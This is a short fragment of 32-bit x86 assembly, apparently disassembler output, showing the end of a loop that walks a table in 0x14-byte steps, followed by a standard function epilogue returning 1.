add esp, 4
add esi, 0x14
cmp dword [esi], 0
jne 0x18d35273
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret